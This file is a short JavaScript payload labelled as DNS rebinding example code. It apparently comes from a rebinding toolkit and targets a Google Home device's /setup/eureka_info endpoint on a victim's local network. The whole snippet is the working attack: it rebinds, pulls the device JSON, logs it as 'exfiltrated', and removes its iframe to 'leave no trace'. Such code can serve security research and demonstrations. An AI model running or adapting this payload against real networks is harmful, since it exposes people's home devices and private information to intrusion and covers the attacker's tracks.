DNS Rebinding Example Code

payload.js

// JS in payloads/google-home.html
attack()
.then((json) => {
          console.log('The attack was successful! Here is the JSON it exfiltrated:')
          console.log(json)
      },
      err => {
          // there probably isn't even a machine with this IP address...
          console.error('No Google Home found at this IP ')
      }
)
// remove the iframe from index.html once the attack is complete. 
// Leave no trace ;)
.then(() => DNSRebindNode.destroy())

async function attack() {
    
    // a helper function that returns some fetch() options configured with
    // certain useful headers
    const getOptions = DNSRebindNode.fetchOptions()
    
    try {
        const opts = { fetchOptions: getOptions }
        return await DNSRebindNode.rebind(`http://${location.host}/setup/eureka_info`, opts).then(data => data.json())
    } catch (err) {
        return Promise.reject(err)
    }
}